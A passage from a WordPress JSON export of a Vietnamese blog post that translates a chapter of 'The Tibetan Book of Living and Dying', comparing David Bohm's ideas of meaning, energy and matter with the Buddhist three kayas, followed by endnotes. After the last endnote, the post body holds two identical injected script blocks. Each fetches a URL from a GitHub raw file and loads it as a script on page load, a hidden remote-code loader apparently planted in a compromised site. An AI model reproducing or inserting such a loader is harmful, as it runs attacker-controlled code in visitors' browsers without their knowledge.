c\u1ee7a n\u00f3 trong t\u00e2m tr\u00ed. Hay n\u00f3i c\u00e1ch kh\u00e1c, trong cu\u1ed9c s\u1ed1ng con ng\u01b0\u1eddi, m\u1ed9t c\u00e1ch r\u1ea5t t\u1ed5ng qu\u00e1t, ngh\u0129a l\u00e0 hi\u1ec7n h\u1eefu&#8230;&#8221; Trong ch\u00ednh h\u00e0nh \u0111\u1ed9ng di\u1ec5n gi\u1ea3i v\u0169 tr\u1ee5, ch\u00fang ta \u0111ang t\u1ea1o ra v\u0169 tr\u1ee5: &#8220;Theo m\u1ed9t c\u00e1ch n\u00e0o \u0111\u00f3, ch\u00fang ta c\u00f3 th\u1ec3 n\u00f3i r\u1eb1ng ch\u00fang ta l\u00e0 t\u00ednh to\u00e0n b\u1ed9 c\u1ee7a ngh\u0129a c\u1ee7a ch\u00fang ta.&#8221;<a href=\"#_edn8\" name=\"_ednref8\">[viii]<\/a><\/p>\n<p>Ch\u1eb3ng ph\u1ea3i s\u1ebd c\u00f3 \u00edch n\u1ebfu ch\u00fang ta b\u1eaft \u0111\u1ea7u t\u01b0\u1edfng t\u01b0\u1ee3ng s\u1ef1 song h\u00e0nh gi\u1eefa ba kh\u00eda c\u1ea1nh n\u00e0y theo quan ni\u1ec7m c\u1ee7a David Bohm v\u1ec1 v\u0169 tr\u1ee5 v\u1edbi ba th\u00e2n \u0111\u00f3 sao? M\u1ed9t th\u0103m d\u00f2 s\u00e2u h\u01a1n v\u1ec1 \u00fd t\u01b0\u1edfng c\u1ee7a David Bohm c\u00f3 l\u1ebd s\u1ebd ch\u1ec9 ra r\u1eb1ng ngh\u0129a, n\u0103ng l\u01b0\u1ee3ng v\u00e0 v\u1eadt ch\u1ea5t n\u1eb1m trong m\u1ed1i quan h\u1ec7 t\u01b0\u01a1ng t\u1ef1 l\u1eabn nhau nh\u01b0 trong m\u1ed1i quan h\u1ec7 t\u01b0\u01a1ng t\u1ef1 l\u1eabn nhau c\u00f3 gi\u1eefa ba th\u00e2n. Li\u1ec7u \u0111i\u1ec1u n\u00e0y c\u00f3 th\u1ec3 g\u1ee3i \u00fd r\u1eb1ng vai tr\u00f2 c\u1ee7a <em>ngh\u0129a<\/em>, nh\u01b0 \u00f4ng \u1ea5y gi\u1ea3i th\u00edch n\u00f3, theo m\u1ed9t c\u00e1ch n\u00e0o \u0111\u00f3 l\u00e0 t\u01b0\u01a1ng t\u1ef1 v\u1edbi Ph\u00e1p th\u00e2n, t\u00ednh to\u00e0n b\u1ed9 v\u00f4 \u0111i\u1ec1u ki\u1ec7n, phong ph\u00fa v\u00f4 t\u1eadn, t\u1eeb \u0111\u00f3 m\u1ecdi th\u1ee9 n\u1ea3y sinh? C\u00f4ng vi\u1ec7c c\u1ee7a <em>n\u0103ng l\u01b0\u1ee3ng<\/em>, qua \u0111\u00f3 m\u00e0 ngh\u0129a v\u00e0 v\u1eadt ch\u1ea5t t\u00e1c \u0111\u1ed9ng l\u1eabn nhau, c\u00f3 s\u1ef1 t\u01b0\u01a1ng t\u1ef1 n\u00e0o \u0111\u00f3 v\u1edbi B\u00e1o th\u00e2n, n\u0103ng l\u01b0\u1ee3ng t\u1ef1 ph\u00e1t sinh th\u01b0\u1eddng xuy\u00ean t\u1eeb n\u1ec1n t\u1ea3ng tr\u1ed1ng r\u1ed7ng; v\u00e0 vi\u1ec7c s\u00e1ng t\u1ea1o c\u1ee7a <em>v\u1eadt ch\u1ea5t<\/em>, theo c\u00e1ch nh\u00ecn c\u1ee7a David Bohm, r\u1ea5t gi\u1ed1ng v\u1edbi Ho\u00e1 th\u00e2n, s\u1ef1 k\u1ebft tinh li\u00ean t\u1ee5c c\u1ee7a n\u0103ng l\u01b0\u1ee3ng \u0111\u00f3 th\u00e0nh h\u00ecnh th\u1ec3 v\u00e0 bi\u1ec3u hi\u1ec7n.<\/p>\n<p>Ngh\u0129 v\u1ec1 David Bohm v\u00e0 s\u1ef1 gi\u1ea3i th\u00edch \u0111\u1ed9c \u0111\u00e1o c\u1ee7a \u00f4ng \u1ea5y v\u1ec1 th\u1ef1c t\u1ea1i t\u00f4i n\u00f3ng l\u00f2ng t\u1ef1 h\u1ecfi n\u1ebfu m\u1ed9t nh\u00e0 khoa h\u1ecdc l\u1edbn c\u0169ng \u0111\u1ed3ng th\u1eddi l\u00e0 ng\u01b0\u1eddi tu luy\u1ec7n t\u00e2m linh v\u1edbi s\u1ef1 ch\u1ec9 d\u1eabn c\u1ee7a m\u1ed9t th\u1ea7y l\u1edbn, c\u00f3 th\u1ec3 c\u00f2n ph\u00e1t minh ra \u0111\u01b0\u1ee3c nh\u1eefng g\u00ec n\u1eefa. N\u1ebfu m\u1ed9t nh\u00e0 khoa h\u1ecdc \u0111\u1ed3ng th\u1eddi l\u00e0 hi\u1ec1n nh\u00e2n, nh\u01b0 Longchenpa v\u00e0 Einstein l\u00e0 m\u1ed9t, ng\u01b0\u1eddi \u0111\u00f3 c\u00f2n ph\u1ea3i n\u00f3i cho ch\u00fang ta c\u00e1i g\u00ec v\u1ec1 b\u1ea3n t\u00ednh c\u1ee7a th\u1ef1c t\u1ea1i? Li\u1ec7u m\u1ed9t trong nh\u1eefng vi\u1ec7c n\u1edf hoa t\u01b0\u01a1ng lai c\u1ee7a c\u00e2y c\u1ed5 th\u1ee5 gi\u00e1o hu\u1ea5n trung \u1ea5m ph\u1ea3i ch\u0103ng s\u1ebd l\u00e0 \u0111\u1ed1i tho\u1ea1i khoa h\u1ecdc v\u00e0 huy\u1ec1n b\u00ed, m\u1ed9t \u0111\u1ed1i tho\u1ea1i m\u00e0 nay ch\u00fang ta v\u1eabn ch\u1ec9 \u0111\u01a1n gi\u1ea3n t\u01b0\u1edfng t\u01b0\u1ee3ng, nh\u01b0ng \u0111\u00f3 l\u00e0 c\u00e1i m\u00e0 ch\u00fang ta d\u01b0\u1eddng nh\u01b0 \u0111\u00e3 \u0111i \u0111\u1ebfn ng\u01b0\u1ee1ng? V\u00e0 \u0111i\u1ec1u \u0111\u00f3 s\u1ebd c\u00f3 ngh\u0129a g\u00ec cho nh\u00e2n lo\u1ea1i?<\/p>\n<p>S\u1ef1 song h\u00e0nh s\u00e2u s\u1eafc nh\u1ea5t trong m\u1ecdi \u0111i\u1ec1u gi\u1eefa c\u00e1c \u00fd t\u01b0\u1edfng c\u1ee7a David Bohm v\u00e0 gi\u00e1o hu\u1ea5n trung \u1ea5m l\u00e0 \u1edf ch\u1ed7 c\u1ea3 hai \u0111\u1ec1u b\u1eaft ngu\u1ed3n t\u1eeb m\u1ed9t c\u00e1i nh\u00ecn v\u1ec1 t\u00ednh to\u00e0n th\u1ec3. C\u00e1i nh\u00ecn n\u00e0y, n\u1ebfu n\u00f3 c\u00f3 th\u1ec3 ti\u1ebfp th\u00eam sinh l\u1ef1c cho c\u00e1c c\u00e1 nh\u00e2n \u0111\u1ec3 bi\u1ebfn \u0111\u1ed5i t\u00e2m th\u1ee9c c\u1ee7a h\u1ecd v\u00e0 do \u0111\u00f3 \u1ea3nh h\u01b0\u1edfng t\u1edbi x\u00e3 h\u1ed9i, s\u1ebd kh\u00f4i ph\u1ee5c l\u1ea1i cho th\u1ebf gi\u1edbi ch\u00fang ta m\u1ed9t c\u1ea3m gi\u00e1c c\u1ea7n thi\u1ebft b\u1ee9c x\u00fac v\u1ec1 s\u1ef1 li\u00ean n\u1ed1i v\u00e0 ngh\u0129a c\u1ee7a vi\u1ec7c s\u1ed1ng.<\/p>\n<p>&nbsp;<\/p>\n<p>\u0110i\u1ec1u t\u00f4i \u0111\u1ec1 ngh\u1ecb \u1edf \u0111\u00e2y l\u00e0 \u1edf ch\u1ed7 c\u00e1ch suy ngh\u0129 chung c\u1ee7a con ng\u01b0\u1eddi v\u1ec1 t\u00ednh to\u00e0n b\u1ed9, t\u1ee9c l\u00e0 th\u1ebf gi\u1edbi quan chung c\u1ee7a ng\u01b0\u1eddi \u0111\u00f3, l\u00e0 m\u1ea5u ch\u1ed1t cho to\u00e0n th\u1ec3 tr\u1eadt t\u1ef1 b\u1ea3n th\u00e2n t\u00e2m tr\u00ed con ng\u01b0\u1eddi. N\u1ebfu con ng\u01b0\u1eddi ngh\u0129 v\u1ec1 t\u00ednh to\u00e0n b\u1ed9 nh\u01b0 \u0111\u01b0\u1ee3c thi\u1ebft l\u1eadp t\u1eeb c\u00e1c m\u1ea3nh \u0111\u1ed9c l\u1eadp, th\u1ebf th\u00ec \u0111\u00f3 l\u00e0 c\u00e1ch t\u00e2m tr\u00ed ng\u01b0\u1eddi \u0111\u00f3 s\u1ebd c\u00f3 xu h\u01b0\u1edbng v\u1eadn h\u00e0nh, nh\u01b0ng n\u1ebfu ng\u01b0\u1eddi \u0111\u00f3 c\u00f3 th\u1ec3 bao h\u00e0m m\u1ecdi th\u1ee9 m\u1ed9t c\u00e1ch nh\u1ea5t qu\u00e1n v\u00e0 h\u00e0i ho\u00e0 trong c\u00e1i t\u1ed5ng th\u1ec3 to\u00e0n th\u1ec3 m\u00e0 kh\u00f4ng b\u1ecb ph\u00e2n chia, kh\u00f4ng b\u1ecb ph\u00e1 v\u1ee1 v\u00e0 kh\u00f4ng c\u00f3 bi\u00ean gi\u1edbi (v\u00ec m\u1ecdi bi\u00ean gi\u1edbi l\u00e0 ph\u00e2n chia hay ph\u00e1 v\u1ee1), th\u1ebf th\u00ec t\u00e2m tr\u00ed c\u1ee7a ng\u01b0\u1eddi \u0111\u00f3 s\u1ebd c\u00f3 khuynh h\u01b0\u1edbng chuy\u1ec3n theo c\u00e1ch t\u01b0\u01a1ng t\u1ef1, v\u00e0 t\u1eeb \u0111i\u1ec1u n\u00e0y s\u1ebd ch\u1ea3y ra m\u1ed9t h\u00e0nh \u0111\u1ed9ng c\u00f3 tr\u1eadt t\u1ef1 b\u00ean trong c\u00e1i to\u00e0n th\u1ec3 \u0111\u00f3.<a href=\"#_edn9\" name=\"_ednref9\"><strong>[ix]<\/strong><\/a><\/p>\n<p>M\u1ecdi th\u1ea7y v\u0129 \u0111\u1ea1i ch\u1eafc s\u1ebd ho\u00e0n to\u00e0n \u0111\u1ed3ng \u00fd v\u1edbi David Bohm khi \u00f4ng \u1ea5y vi\u1ebft:<\/p>\n<p>&nbsp;<\/p>\n<p>S\u1ef1 thay \u0111\u1ed5i c\u1ee7a ngh\u0129a l\u00e0 c\u1ea7n thi\u1ebft \u0111\u1ec3 thay \u0111\u1ed5i th\u1ebf gi\u1edbi n\u00e0y v\u1ec1 ch\u00ednh tr\u1ecb, kinh t\u1ebf v\u00e0 x\u00e3 h\u1ed9i. Nh\u01b0ng thay \u0111\u1ed5i \u0111\u00f3 ph\u1ea3i b\u1eaft \u0111\u1ea7u t\u1eeb c\u00e1 nh\u00e2n; n\u00f3 ph\u1ea3i thay \u0111\u1ed5i anh ta &#8230; N\u1ebfu ngh\u0129a l\u00e0 ph\u1ea7n then ch\u1ed1t c\u1ee7a th\u1ef1c t\u1ea1i, th\u1ebf th\u00ec, m\u1ed9t khi x\u00e3 h\u1ed9i, c\u00e1 nh\u00e2n v\u00e0 c\u00e1c m\u1ed1i quan h\u1ec7 \u0111\u01b0\u1ee3c th\u1ea5y ng\u1ee5 \u00fd c\u00e1i g\u00ec \u0111\u00f3 kh\u00e1c, m\u1ed9t thay \u0111\u1ed5i n\u1ec1n t\u1ea3ng \u0111\u00e3 x\u1ea3y ra.<a href=\"#_edn10\" name=\"_ednref10\"><strong>[x]<\/strong><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>Chung cu\u1ed9c c\u00e1ch nh\u00ecn v\u1ec1 gi\u00e1o hu\u1ea5n trung \u1ea5m v\u00e0 vi\u1ec7c hi\u1ec3u s\u00e2u s\u1eafc nh\u1ea5t v\u1ec1 c\u1ea3 ngh\u1ec7 thu\u1eadt v\u00e0 khoa h\u1ecdc \u0111\u1ec1u h\u1ed9i t\u1ee5 v\u1ec1 m\u1ed9t s\u1ef1 ki\u1ec7n, tr\u00e1ch nhi\u1ec7m c\u1ee7a ch\u00fang ta v\u1edbi v\u00e0 v\u00ec b\u1ea3n th\u00e2n ch\u00fang ta; v\u00e0 s\u1ef1 c\u1ea7n thi\u1ebft s\u1eed d\u1ee5ng tr\u00e1ch nhi\u1ec7m \u0111\u00f3 theo c\u00e1ch kh\u1ea9n thi\u1ebft v\u00e0 \u0111\u1ea1t t\u1edbi xa: bi\u1ebfn \u0111\u1ed5i b\u1ea3n th\u00e2n ch\u00fang ta, ngh\u0129a c\u1ee7a cu\u1ed9c s\u1ed1ng c\u1ee7a ch\u00fang ta, v\u00e0 do v\u1eady bi\u1ebfn \u0111\u1ed5i th\u1ebf gi\u1edbi quanh ch\u00fang ta.<\/p>\n<p>Nh\u01b0 Ph\u1eadt \u0111\u00e3 n\u00f3i: &#8220;Ta \u0111\u00e3 ch\u1ec9 cho \u00f4ng con \u0111\u01b0\u1eddng t\u1edbi gi\u1ea3i tho\u00e1t, b\u00e2y gi\u1edd \u00f4ng ph\u1ea3i nh\u1eadn n\u00f3 cho b\u1ea3n th\u00e2n \u00f4ng.&#8221;<\/p>\n<p>&nbsp;<\/p>\n<p>T\u1eeb \u201cS\u00e1ch T\u00e2y T\u1ea1ng v\u1ec1 s\u1ed1ng v\u00e0 ch\u1ebft\u201d, Ch.21 Qu\u00e1 tr\u00ecnh ph\u1ed5 qu\u00e1t<\/p>\n<p><a href=\"#_ednref1\" name=\"_edn1\">[i]<\/a> In &#8220;Auguries of Innocence,&#8221; Blake: Complete Writings (Oxford and New York: Oxford Univ. Press, 1972), 431.<\/p>\n<p><a href=\"#_ednref2\" name=\"_edn2\">[ii]<\/a> Kalu Rinpoche, The Dharma, 38<\/p>\n<p><a href=\"#_ednref3\" name=\"_edn3\">[iii]<\/a> See, for example, the Dalai Lama, et at, MindScience: An EastWest Dialogue (Boston: Wisdom, 1991).<\/p>\n<p><a href=\"#_ednref4\" name=\"_edn4\">[iv]<\/a> Ren\u00e9e Weber, ed., Dialogues with Scientists and Sages: The Search for Unity (London: Routledge and Kegan Paul, 1986), 93-94.<\/p>\n<p><a href=\"#_ednref5\" name=\"_edn5\">[v]<\/a> Weber, Scientists and Sages, 48<\/p>\n<p><a href=\"#_ednref6\" name=\"_edn6\">[vi]<\/a> David Bohm, Unfolding Meaning A Weekend of Dialogue with David Bohm (London: Ark, 1987), 73.<\/p>\n<p><a href=\"#_ednref7\" name=\"_edn7\">[vii]<\/a> Bohm, Unfolding Meaning 90-91.<\/p>\n<p><a href=\"#_ednref8\" name=\"_edn8\">[viii]<\/a> Paavo Pylkk\u00e4nen, ed., The Search for Meaning (Wellingborough: Crucible, 1989), 51; David Bohm, Unfolding Meaning 93.<\/p>\n<p><a href=\"#_ednref9\" name=\"_edn9\">[ix]<\/a> David Bohm, Wholeness and the Implicate Order (London: Ark 1988), xi<\/p>\n<p><a href=\"#_ednref10\" name=\"_edn10\">[x]<\/a> Bohm, Unfolding Meaning 107, 96.<script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>B\u00e2y gi\u1edd ch\u00fang ta \u0111\u00e3 s\u1eb5n s\u00e0ng nh\u00ecn v\u00e0o m\u1ed9t trung \u1ea5m \u0111\u1eb7c bi\u1ec7t, \u0111\u1ec3 xem c\u00e1ch th\u1ee9c tu luy\u1ec7n thi\u1ec1n c\u1ee7a ch\u00fang ta, vi\u1ec7c &hellip; <\/p>\n","protected":false},"author":3,"featured_media":3924,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[66],"tags":[],"class_list":["post-3923","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cach-song-va-chet"],"_links":{"self":[{"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/posts\/3923","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3923"}],"version-history":[{"count":3,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/posts\/3923\/revisions"}],"predecessor-version":[{"id":4713,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/posts\/3923\/revisions\/4713"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=\/wp\/v2\/media\/3924"}],"wp:attachment":[{"href":"https:\/\/reikivietnam.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3923"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3923"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/reikivietnam.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3923"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}